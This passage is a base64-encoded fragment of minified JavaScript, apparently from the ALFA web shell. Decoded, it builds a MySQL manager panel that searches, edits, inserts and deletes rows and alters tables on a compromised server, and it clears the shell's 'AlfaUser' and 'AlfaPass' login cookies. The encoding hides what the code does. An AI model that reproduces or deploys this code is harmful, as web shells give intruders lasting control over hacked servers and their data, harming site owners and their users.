cGVyYXRvcjwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIscz1bImludCIsInNtYWxsaW50IiwiYmlnaW50IiwidGlueWludCIsIm1lZGl1bWludCJdLGM9WyJsb25ndGV4dCIsInRleHQiLCJtZWRpdW10ZXh0IiwidGlueXRleHQiXTtmb3IodmFyIHUgaW4gZS5jb2x1bW5zKXt2YXIgcD0idGV4dCI7LTEhPXMuaW5kZXhPZihlLmNvbHVtbnNbdV0uZGF0YV90eXBlKSYmKHA9Im51bWJlciIpLG4rPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oyc+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+IitlLmNvbHVtbnNbdV0udHlwZSsiPC90ZD48dGQ+IitlLmNvbHVtbnNbdV0uY29sbGF0aW9uKyI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIic+PG9wdGlvbiB2YWx1ZT0nPSc+PTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyE9Jz4hPTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Jz4nPiZndDs8L29wdGlvbj48b3B0aW9uIHZhbHVlPSc+PSc+Jmd0Oz08L29wdGlvbj48b3B0aW9uIHZhbHVlPSc8Jz4mbHQ7PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nPD0nPiZsdDs9PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIj0gJydcIj49ICcnPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiE9ICcnXCI+IT0gJyc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdMSUtFJz5MSUtFPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTElLRSAlLi4uJSc+TElLRSAlLi4uJTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBMSUtFJz5OT1QgTElLRTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J1JFR0VYUCc+UkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nUkVHRVhQIF4uLi4kJz5SRUdFWFAgXi4uLiQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdOT1QgUkVHRVhQJz5OT1QgUkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSU4gKC4uLiknPklOICguLi4pPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIElOICguLi4pJz5OT1QgSU4gKC4uLik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdCRVRXRUVOJz5CRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIEJFVFdFRU4nPk5PVCBCRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSVMgTlVMTCc+SVMgTlVMTDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lTIE5PVCBOVUxMJz5JUyBOT1QgTlVMTDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSciK3ArIicgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSsiJz48L3RkPjwvdHI+Ijt2YXIgZj1hbGZhTXlzcWxMb2FkRGF0YVR5cGUoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk7bnVsbD09ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWUmJihlLmNvbHVtbnNbdV0udHlwZV92YWx1ZT0iIiksbys9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD48c2VsZWN0IG5hbWU9J3NlbF8iK2UuY29sdW1uc1t1XS5uYW1lKyInPiIrZisiPC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IG5hbWU9J3ZhbHVlXyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdHlwZT0ndGV4dCcgdmFsdWU9JyIrKC0xPT1jLmluZGV4T2YoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk/ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWU6IiIpKyInPjwvdGQ+PHRkPjxidXR0b24gY29sX25hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdGJsX25hbWU9JyIrdCsiJyBkYl9pZD0nIitpKyInIGRiX3RhcmdldD0nIithKyInIG9uY2xpY2s9J2FsZmFNeXNxbEFsdGVyVGJsKHRoaXMpO3JldHVybiBmYWxzZTsnPkNoYW5nZTwvYnV0dG9uPjwvdGQ+PC90cj4iO3ZhciBtPSIiO3N3aXRjaChlLmNvbHVtbnNbdV0uZGF0YV90eXBlKXtjYXNlImxvbmd0ZXh0IjpjYXNlInRleHQiOm09Ijx0ZXh0YXJlYSBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHJvd3M9JzUnPjwvdGV4dGFyZWE+IjticmVhaztjYXNlImludCI6Y2FzZSJzbWFsbGludCI6Y2FzZSJiaWdpbnQiOm09IjxpbnB1dCB0eXBlPSdudW1iZXInIG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdmFsdWU9Jyc+IjticmVhaztkZWZhdWx0Om09IjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHZhbHVlPScnPiJ9cis9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD4iK2UuY29sdW1uc1t1XS50eXBlKyI8L3RkPjx0ZD4iK20rIjwvdGQ+PC90cj4ifWlmKHIrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxVcGRhdGVSb3codGhpcywgXCJpbnNlcnRcIik7cmV0dXJuIGZhbHNlOyc+SW5zZXJ0PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtaW5zZXJ0LXJlc3VsdCc+PC9kaXY+IixvKz0iPC90YWJsZT48ZGl2IGNsYXNzPSdteXNxbC1zdHJ1Y3R1cmUtcXJlcyc+PC9kaXY+IixuKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDM4NHB4O21hcmdpbi10b3A6IDE1cHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdhbGZhTXlzcWxTZWFyY2godGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+IixlLnBhZ2VzPjApe2wrPSI8c3BhbiBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBkYl9pZD0nIitpKyInIG9uY2xpY2s9J2FsZmFNeXNxbENoYW5nZVBhZ2UodGhpcywxKTsnPjw8PC9zcGFuPiA8c3Bhbj4gcGFnZTogPC9zcGFuPiA8c2VsZWN0IHRibF9uYW1lPSciK3QrIicgZGJfdGFyZ2V0PSciK2ErIicgbmFtZT0nbXlzcWwtcS1wYWdlcycgZGJfaWQ9JyIraSsiJyBjbGFzcz0nZGItb3B0LWlkJyBvbmNoYW5nZT0nYWxmYU15c3FsQ2hhbmdlUGFnZSh0aGlzKTsnIHBhZ2VzPSciK2UucGFnZXMrIic+Ijtmb3IodmFyIGI9MTtiPGUucGFnZXMrMTtiKyspbCs9IjxvcHRpb24+IitiKyI8L29wdGlvbj4iO2wrPSI8L3NlbGVjdD48c3Bhbj4gT2YgIitlLnBhZ2VzKyI8L3NwYW4+IDxzcGFuIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIGRiX2lkPSciK2krIicgb25jbGljaz0nYWxmYU15c3FsQ2hhbmdlUGFnZSh0aGlzLDIpOyc+Pj48L3NwYW4+In12YXIgeT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpO3kucXVlcnlTZWxlY3RvcigiLm15c3FsLXNlYXJjaC1hcmVhIikuaW5uZXJIVE1MPW4seS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtaW5zZXJ0LXJvdyIpLmlubmVySFRNTD1yLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLWVkaXQtcm93IikuaW5uZXJIVE1MPSIiLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSIpLmlubmVySFRNTD1vLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXIgLm15c3FsLXF1ZXJ5LXBhZ2VyIikuaW5uZXJIVE1MPWwseS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS5zdGF0dXM/ZS50YWJsZToiIixhbGZhTXlzcWxUYWJDdGwoe2NoaWxkOjEsZGJfaWQ6aSx0YXJnZXQ6Ii5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCJ9LCEwKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCg2KSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoaSxlKX19KX1mdW5jdGlvbiBhbGZhTXlzcWxBbHRlclRibChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWQucXVlcnlTZWxlY3RvcigiIyIrYSksbD1lLmdldEF0dHJpYnV0ZSgidGJsX25hbWUiKSxyPWUuZ2V0QXR0cmlidXRlKCJjb2xfbmFtZSIpLG89e307by50eXBlPWkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSBzZWxlY3RbbmFtZT1zZWxfIityKyJdIikudmFsdWUsby5pbnB1dD1pLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUgaW5wdXRbbmFtZT12YWx1ZV8iK3IrIl0iKS52YWx1ZSxhbGZhTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfdGFibGVfYWx0ZXIiLGRiX2luZm86e3RhYmxlOmwsY29sdW1uOnIsYWx0ZXI6b30scG9zdDp7YWxmYTI6ImFsdGVyIn19LGZ1bmN0aW9uKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1zdHJ1Y3R1cmUtcXJlcyIpO3QuaW5uZXJIVE1MPWUsdC5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX1mdW5jdGlvbiBhbGZhTXlzcWxTZWFyY2goZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj17fTtpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5teXNxbC1zZWFyY2gtYXJlYSBpbnB1dCwgLm15c3FsLXNlYXJjaC1hcmVhIHNlbGVjdCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ci5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwocltlLm5hbWVdPXt9KSwiU0VMRUNUIj09ZS50YWdOYW1lP3JbZS5uYW1lXS5vcHQ9ZS52YWx1ZTpyW2UubmFtZV0udmFsdWU9ZS52YWx1ZX0pLGFsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF90YWJsZV9zZWFyY2hfcXVlcnkiLGRiX2luZm86e3RhYmxlOmwsc2VhcmNoOnJ9LHBvc3Q6e2FsZmEyOiJzZWFyY2gifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksYWxmYU15c3FsUmVwb3J0QnVpbGRlcihhLGUpLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6MSxkYl9pZDphLHRhcmdldDoiLm15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1xdWVyeS10YWJsZSIpLmlubmVySFRNTD1lLnRhYmxlKX0pfWZ1bmN0aW9uIGFsZmFNeXNxbEVkaXRSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPShkLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpLGUuZ2V0QXR0cmlidXRlKCJjb2xfa2V5IikpLHI9ZS5nZXRBdHRyaWJ1dGUoImtleSIpLG89ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIiksbj1lLmdldEF0dHJpYnV0ZSgicm93X2lkIik7YWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3RhYmxlX2VkaXRfcXVlcnkiLGRiX2luZm86e3RhYmxlOm8sY29sX2tleTpsLGtleTpyfSxwb3N0OnthbGZhMjp0fX0sZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpaWYoZT1KU09OLnBhcnNlKGUpLCJlZGl0Ij09dCl7dmFyIHM9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiI7Zm9yKHZhciBjIGluIGUpe3ZhciB1PSIiO3N3aXRjaChlW2NdLnR5cGUudGFnKXtjYXNlInRleHRhcmVhIjp1PSI8dGV4dGFyZWEgbmFtZT0nIitlW2NdLmNvbCsiJyByb3dzPSc1Jz4iK2VbY10udmFsdWUrIjwvdGV4dGFyZWE+IjticmVhaztjYXNlImlucHV0Ijp1PSI8aW5wdXQgdHlwZT0nIitlW2NdLnR5cGUudHlwZSsiJyBuYW1lPSciK2VbY10uY29sKyInIHZhbHVlPSciK2VbY10udmFsdWUrIic+In1zKz0iPHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDsnPiIrZVtjXS5jb2wrIjwvdGg+PHRkPiIrZVtjXS50eXBlLmNvbF90eXBlKyI8L3RkPjx0ZD4iK3UrIjwvdGQ+PC90cj4ifXMrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIGNvbF9rZXk9JyIrbCsiJyBrZXk9JyIrcisiJyB0YmxfbmFtZT0nIitvKyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0nYWxmYU15c3FsVXBkYXRlUm93KHRoaXMsIFwiZWRpdFwiKTtyZXR1cm4gZmFsc2U7Jz5VcGRhdGU8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC11cGRhdGUtcmVzdWx0Jz48L2Rpdj4iLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1lZGl0LXJvdyIpLmlubmVySFRNTD1zLGFsZmFNeXNxbFRhYkN0bCh7Y2hpbGQ6NixkYl9pZDppLHRhcmdldDoiLm15c3FsLWVkaXQtcm93In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1xdWVyeS1yZXN1bHQtdGFicyBkaXY6bnRoLWNoaWxkKDYpIikuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIn1lbHNlImRlbGV0ZSI9PXQmJihlLnN0YXR1cz9kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAudGJsX3Jvd19sIituKS5yZW1vdmUoKTphbGVydChlLmVycm9yKSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYmxTZWxlY3RBbGwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIit0KyIgLm15c3FsLW1haW4gaW5wdXRbbmFtZT10Ymxfcm93c19jaGVja2JveFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3QuY2hlY2tlZD1lLmNoZWNrZWR9KX1mdW5jdGlvbiBhbGZhTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3MoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiY29sX2tleSIpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK3QrIiAubXlzcWwtbWFpbiBpbnB1dFtuYW1lPXRibF9yb3dzX2NoZWNrYm94XFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiZyLnB1c2goZS52YWx1ZSl9KSwwPT1yLmxlbmd0aClyZXR1cm4hMTthbGZhTXlzcWxBcGkoe2RiX2lkOnQsZGJfdGFyZ2V0OmEsYWpheF9pZDoibXlzcWxfdGFibGVfZGVsZXRlX2FsbF9xdWVyeSIsZGJfaW5mbzp7dGFibGU6bCxjb2xfa2V5Omkscm93czpyfSxwb3N0OnthbGZhMjoiZGVsZXRlX2FsbCJ9fSxmdW5jdGlvbihlKXtpZigiIiE9ZSlpZigoZT1KU09OLnBhcnNlKGUpKS5zdGF0dXMpe3ZhciBhPTAsaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QpO2QucXVlcnlTZWxlY3RvckFsbCgiIyIrdCsiIC5teXNxbC1tYWluIGlucHV0W25hbWU9dGJsX3Jvd3NfY2hlY2tib3hcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJihhPWUuZ2V0QXR0cmlidXRlKCJyb3dfaWQiKSxpLnF1ZXJ5U2VsZWN0b3IoIi50Ymxfcm93X2wiK2EpLnJlbW92ZSgpKX0pfWVsc2UgYWxlcnQoZS5lcnJvcil9KX1mdW5jdGlvbiBhbGZhTXlzcWxVcGRhdGVSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWQucXVlcnlTZWxlY3RvcigiIyIraSkscj0iLm15c3FsLWluc2VydC1yb3ciLG89Ii5teXNxbC1pbnNlcnQtcmVzdWx0IixuPSJteXNxbF90YWJsZV9pbnNlcnRfcXVlcnkiLHM9Imluc2VydCIsYz17dGFibGU6ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIil9O2lmKCJlZGl0Ij09dCl7dmFyIHU9ZS5nZXRBdHRyaWJ1dGUoImNvbF9rZXkiKSxwPWUuZ2V0QXR0cmlidXRlKCJrZXkiKTtyPSIubXlzcWwtZWRpdC1yb3ciLG89Ii5teXNxbC11cGRhdGUtcmVzdWx0IixuPSJteXNxbF90YWJsZV91cGRhdGVfcXVlcnkiLHM9InVwZGF0ZSIsYy5jb2xfa2V5PXUsYy5rZXk9cH12YXIgZj17fTtsLnF1ZXJ5U2VsZWN0b3JBbGwocisiIGlucHV0LCAiK3IrIiB0ZXh0YXJlYSIpLmZvckVhY2goZnVuY3Rpb24oZSl7Zi5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwoZltlLm5hbWVdPXt9KSxmW2UubmFtZV09ZS52YWx1ZX0pLGMuZGF0YT1mLGFsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOm4sZGJfaW5mbzpjLHBvc3Q6e2FsZmEyOnN9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIraSsiICIrbyk7dC5zdHlsZS5kaXNwbGF5PSJibG9jayIsZS5zdGF0dXM/dC5pbm5lckhUTUw9IlN1Y2Nlc3MuLi4iOnQuaW5uZXJIVE1MPWUuZXJyb3J9fSl9ZnVuY3Rpb24gYWxmYU15c3FsTG9hZERhdGFUeXBlKGUpe2U9ZS50b1VwcGVyQ2FzZSgpO3ZhciB0PVsiSU5UIiwiVkFSQ0hBUiIsIlRFWFQiLCJEQVRFIix7a2V5OiJOdW1lcmljIix2YWxzOlsiVElOWUlOVCIsIlNNQUxMSU5UIiwiTUVESVVNSU5UIiwiSU5UIiwiQklHSU5UIiwiLSIsIkRFQ0lNQUwiLCJGTE9BVCIsIkRPVUJMRSIsIlJFQUwiLCItIiwiQklUIiwiQk9PTEVBTiIsIlNFUklBTCJdfSx7a2V5OiJEYXRlIGFuZCB0aW1lIix2YWxzOlsiREFURSIsIkRBVEVUSU1FIiwiVElNRVNUQU1QIiwiVElNRSIsIllFQVIiXX0se2tleToiU3RyaW5nIix2YWxzOlsiQ0hBUiIsIlZBUkNIQVIiLCItIiwiVElOWVRFWFQiLCJURVhUIiwiTUVESVVNVEVYVCIsIkxPTkdURVhUIiwiLSIsIkJJTkFSWSIsIlZBUkJJTkFSWSIsIi0iLCJUSU5ZQkxPQiIsIk1FRElVTUJMT0IiLCJCTE9CIiwiTE9OR0JMT0IiLCItIiwiRU5VTSIsIlNFVCJdfSx7a2V5OiJTcGF0aWFsIix2YWxzOlsiR0VPTUVUUlkiLCJQT0lOVCIsIkxJTkVTVFJJTkciLCJQT0xZR09OIiwiTVVMVElQT0lOVCIsIk1VTFRJTElORVNUUklORyIsIk1VTFRJUE9MWUdPTiIsIkdFT01FVFJZQ09MTEVDVElPTiJdfSx7a2V5OiJKU09OIix2YWxzOlsiSlNPTiJdfV0sYT0iIixpPSExO2Zvcih2YXIgbCBpbiB0KWlmKCJvYmplY3QiPT10eXBlb2YgdFtsXSl7Zm9yKHZhciByIGluIGErPSc8b3B0Z3JvdXAgbGFiZWw9IicrdFtsXS5rZXkrJyI+Jyx0W2xdLnZhbHMpYSs9IjxvcHRpb24iKyh0W2xdLnZhbHNbcl0hPWV8fGk/IiI6IiBzZWxlY3RlZCIpKyI+Iit0W2xdLnZhbHNbcl0rIjwvb3B0aW9uPiIsdFtsXS52YWxzW3JdPT1lJiYoaT0hMCk7YSs9Ijwvb3B0Z3JvdXA+In1lbHNlIGErPSI8b3B0aW9uIisodFtsXSE9ZXx8aT8iIjoiIHNlbGVjdGVkIikrIj4iK3RbbF0rIjwvb3B0aW9uPiIsdFtsXT09ZSYmKGk9ITApO3JldHVybiBhfWZ1bmN0aW9uIGFsZmFNeXNxbENoYW5nZVBhZ2UoZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPTA7aWYodm9pZCAwIT09dCl7ZT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBzZWxlY3RbbmFtZT1teXNxbC1xLXBhZ2VzXSIpO3ZhciBsPXBhcnNlSW50KGUuZ2V0QXR0cmlidXRlKCJwYWdlcyIpKTtpZihpPXBhcnNlSW50KGUudmFsdWUpLDE9PXQ/LS1pOisraSwwPT1pfHxsPGkpcmV0dXJuITE7ZS52YWx1ZT1pfWVsc2UgaT1lLnZhbHVlO3ZhciByPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxvPWUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6cixhamF4X2lkOiJteXNxbF90YWJsZV9jaGFuZ2VfcGFnZSIsZGJfaW5mbzp7dGFibGU6byxwYWdlOml9LHBvc3Q6e2FsZmEyOiJwYWdlIn19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiYoZT1KU09OLnBhcnNlKGUpLGFsZmFNeXNxbFJlcG9ydEJ1aWxkZXIoYSxlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS50YWJsZSl9KX1mdW5jdGlvbiBhbGZhUmVtb3ZlQ29va2llKGUpe2RvY3VtZW50LmNvb2tpZT1lKyI9O01heC1BZ2U9MDsgcGF0aD0vOyJ9ZnVuY3Rpb24gYWxmYUxvZ091dCgpe2FsZmFSZW1vdmVDb29raWUoIkFsZmFVc2VyIiksYWxmYVJlbW92ZUNvb2tpZSgiQWxmYVBhc3MiKSxsb2NhdGlvbi5yZWxvYWQoKX12YXIgYWxmYUFsZXJ0Qm94PWZ1bmN0aW9uKGUsdCl7dGhpcy50eXBlcz17c3VjY2Vzczp7Y2xhc3M6ImFsZXJ0LXN1Y2Nlc3MiLGljb246Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jaGVjay1tYXJrMS5zdmcifSxlcnJvcjp7Y2xhc3M6ImFsZXJ0LWVycm9yIixpY29uOiJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvd2FybmluZy5zdmcifX0sdGhpcy5zaG93PWZ1bmN0aW9uKGEpe2lmKCIiPT09YXx8bnVsbD09YSl0aHJvdycibXNnIHBhcmFtZXRlciBpcyBlbXB0eSInO3ZhciBpPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSksbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKSxyPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpLG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiRElWIiksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJBIikscz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSxjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklNRyIpLGQ9dGhpcztpZihzLnN0eWxlLmRpc3BsYXk9ImlubGluZS1ibG9jayIscy5zdHlsZS5tYXJnaW5SaWdodD0iMTBweCIsci5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLG8uY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudCIpLG8uaW5uZXJUZXh0PWEsbi5jbGFzc0xpc3QuYWRkKCJhbGVydC1jbG9zZSIpLG4uc2V0QXR0cmlidXRlKCJocmVmIiwiIyIpLGwuY2xhc3NMaXN0LmFkZCgiYWxlcnQtYm94IiksYy5zcmM9dGhpcy50eXBlc1t0LnR5cGVdLmljb24sYy5zdHlsZS53aWR0aD0iMzBweCIscy5hcHBlbmRDaGlsZChjKSxsLmFwcGVuZENoaWxkKHMpLHQuaGFzT3duUHJvcGVydHkoInRpdGxlIikpe3ZhciB1PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpO3UuY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudC10aXRsZSIpLHUuaW5uZXJUZXh0PXQudGl0bGUsci5hcHBlbmRDaGlsZCh1KX1pZihyLmFwcGVuZENoaWxkKG8pLGwuYXBwZW5kQ2hpbGQociksdC5oaWRlQ2xvc2VCdXR0b24mJnZvaWQgMCE9PXQuaGlkZUNsb3NlQnV0dG9ufHxsLmFwcGVuZENoaWxkKG4pLHQuaGFzT3duUHJvcGVydHkoInR5cGUiKSYmbC5jbGFzc0xpc3QuYWRkKHRoaXMudHlwZXNbdC50eXBlXS5jbGFzcyksaS5hcHBlbmRDaGlsZChsKSxuLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksZC5oaWRlKGwpfSksIXQucGVyc2lzdGVudCl2YXIgcD1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZC5oaWRlKGwpLGNsZWFyVGltZW91dChwKX0sdC5jbG9zZVRpbWUpfSx0aGlzLmhpZGU9ZnVuY3Rpb24oZSl7ZS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7dmFyIHQ9c2V0VGltZW91dChmdW5jdGlvbigpe2UucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlKSxjbGVhclRpbWVvdXQodCl9LDUwMCl9fTtmdW5jdGlvbiBhbGZhU2hvd05vdGlmaWNhdGlvbihlLHQsYSxpLGwpe3ZvaWQgMD09PWEmJihhPSJzdWNjZXNzIiksdm9pZCAwPT09aSYmKGk9ITEpLHZvaWQgMD09PWwmJihsPTFlNCk7dmFyIHI9e2Nsb3NlVGltZTpsLHBlcnNpc3RlbnQ6aSx0eXBlOmEsaGlkZUNsb3NlQnV0dG9uOiExfTt2b2lkIDAhPT10JiYoci50aXRsZT10KSxuZXcgYWxmYUFsZXJ0Qm94KCIjYWxlcnQtYXJlYSIscikuc2hvdyhlKX1mdW5jdGlvbiBhbGZhU3luY01lbnVUb09wdChlLHQpe3ZhciBhPSIiLGk9IiIsbD1udWxsO3ZvaWQgMCE9PXQ/KGE9InZpZXdfYXJjaGl2ZSIsaT1lLGw9bG9jYXRpb24pOihhPWUubmFtZSxpPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZSksImV4dHJhY3QiPT1hPyhhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2F